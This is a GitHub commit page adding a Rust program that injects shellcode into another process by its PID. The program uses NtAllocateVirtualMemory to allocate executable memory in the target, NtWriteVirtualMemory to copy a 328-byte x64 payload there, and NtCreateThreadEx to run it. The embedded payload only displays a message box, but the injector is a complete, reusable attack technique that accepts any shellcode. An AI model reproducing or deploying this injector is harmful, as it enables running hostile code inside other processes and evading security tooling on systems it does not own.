Skip to content

Commit 7bd0c57

Browse files
committed
Remote Process Injection using NtApi
1 parent 9f4f953 commit 7bd0c57

File tree

1 file changed

+165
-0
lines changed

1 file changed

+165
-0
lines changed

NtApi/remote_process.rs

Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
/*
2+
Shellcode Execution through Remote Process using NtApi
3+
Remote Process Method 1
4+
@5mukx
5+
*/
6+
7+
use std::{ffi::OsString, os::windows::ffi::OsStrExt, ptr::null_mut};
8+
9+
use winapi::{shared::{bcrypt::NTSTATUS, minwindef::DWORD, ntdef::HANDLE}, um::{handleapi::CloseHandle, libloaderapi::{GetProcAddress, LoadLibraryW}, processthreadsapi::OpenProcess, winnt::PROCESS_ALL_ACCESS}};
10+
11+
use winapi::ctypes::c_void;
12+
13+
// Souce: https://docs.rs/ntapi/latest/ntapi/ntmmapi/fn.NtAllocateVirtualMemory.html
14+
type NAVM = unsafe extern "system" fn(
15+
*mut c_void,
16+
*mut *mut c_void, // ? here
17+
usize,
18+
*mut usize,
19+
u32,
20+
u32,
21+
) -> NTSTATUS;
22+
23+
type NWVM = unsafe extern "system" fn(
24+
*mut c_void,
25+
*mut c_void,
26+
*const c_void,
27+
usize,
28+
*mut usize,
29+
) -> NTSTATUS;
30+
31+
type NCT = unsafe extern "system" fn(
32+
*mut *mut c_void, // ?= *mut HANDLE
33+
DWORD,
34+
*mut c_void,
35+
HANDLE,
36+
*mut c_void,
37+
*mut c_void,
38+
DWORD,
39+
DWORD,
40+
DWORD,
41+
DWORD,
42+
*mut c_void,
43+
) -> NTSTATUS;
44+
45+
fn main()-> Result<(), Box<dyn std::error::Error>>{
46+
let args: Vec<String> = std::env::args().collect();
47+
48+
if args.len() < 2 {
49+
println!("Usage: {} <PID>", args[0]);
50+
return Ok(());
51+
}
52+
53+
let new_pid= args[1].parse::<u32>().expect("Enter valid PID");
54+
55+
println!("[+] Injecting into PID: {}", new_pid);
56+
57+
unsafe{
58+
59+
// SHELLCODE
60+
let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
61+
0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
62+
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
63+
0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
64+
0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
65+
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
66+
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
67+
0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
68+
0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
69+
0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
70+
0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
71+
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
72+
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
73+
0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
74+
0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
75+
0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
76+
0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
77+
0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
78+
0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
79+
0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
80+
0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
81+
0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
82+
0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
83+
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
84+
0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
85+
0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
86+
0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
87+
0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
88+
];
89+
90+
let p_handle = OpenProcess(
91+
PROCESS_ALL_ACCESS,
92+
0,
93+
new_pid,
94+
);
95+
96+
if p_handle.is_null(){
97+
eprintln!("[-] Invalid Handle");
98+
std::process::exit(1);
99+
}
100+
101+
let ntdll_name: Vec<u16> = OsString::from("ntdll.dll").encode_wide().chain(std::iter::once(0)).collect();
102+
let h_ntdll = LoadLibraryW(ntdll_name.as_ptr());
103+
104+
if h_ntdll.is_null() {
105+
println!("[-] Failed to load ntdll.dll");
106+
return Err("Failed to load ntdll.dll".into());
107+
}
108+
109+
let nt_allocate_virtual_memory: NAVM = std::mem::transmute(
110+
GetProcAddress(h_ntdll, b"NtAllocateVirtualMemory\0".as_ptr() as *const i8)
111+
);
112+
113+
let nt_write_virtual_memory: NWVM = std::mem::transmute(
114+
GetProcAddress(h_ntdll, "NtWriteVirtualMemory\0".as_ptr() as *const i8)
115+
);
116+
117+
let nt_create_thread_ex: NCT = std::mem::transmute(
118+
GetProcAddress(h_ntdll, "NtCreateThreadEx\0".as_ptr() as *const i8)
119+
);
120+
121+
let mut alloc_addr: *mut c_void = null_mut();
122+
let mut alloc_size: usize /*SIZE_T*/ = shellcode.len();
123+
124+
let status = nt_allocate_virtual_memory(
125+
p_handle,
126+
&mut alloc_addr,
127+
0,
128+
&mut alloc_size,
129+
0x3000,
130+
0x40,
131+
);
132+
133+
println!("Allocation status: {:X}", status);
134+
println!("Allocated address: {:?}", alloc_addr);
135+
136+
let status = nt_write_virtual_memory(p_handle, alloc_addr, shellcode.as_ptr() as *const c_void, shellcode.len(), null_mut());
137+
println!("Write status: {:X}", status);
138+
139+
let mut t_handle: *mut c_void = null_mut();
140+
let status = nt_create_thread_ex(
141+
&mut t_handle,
142+
0x2000000,
143+
null_mut(),
144+
p_handle,
145+
alloc_addr,
146+
null_mut(),
147+
0,
148+
0,
149+
0,
150+
0,
151+
null_mut()
152+
);
153+
154+
println!("Execution status: {:X}", status);
155+
156+
CloseHandle(p_handle);
157+
if !t_handle.is_null() {
158+
CloseHandle(t_handle);
159+
}
160+
}
161+
Ok(())
162+
}
163+
164+
165+

0 commit comments

Comments
 (0)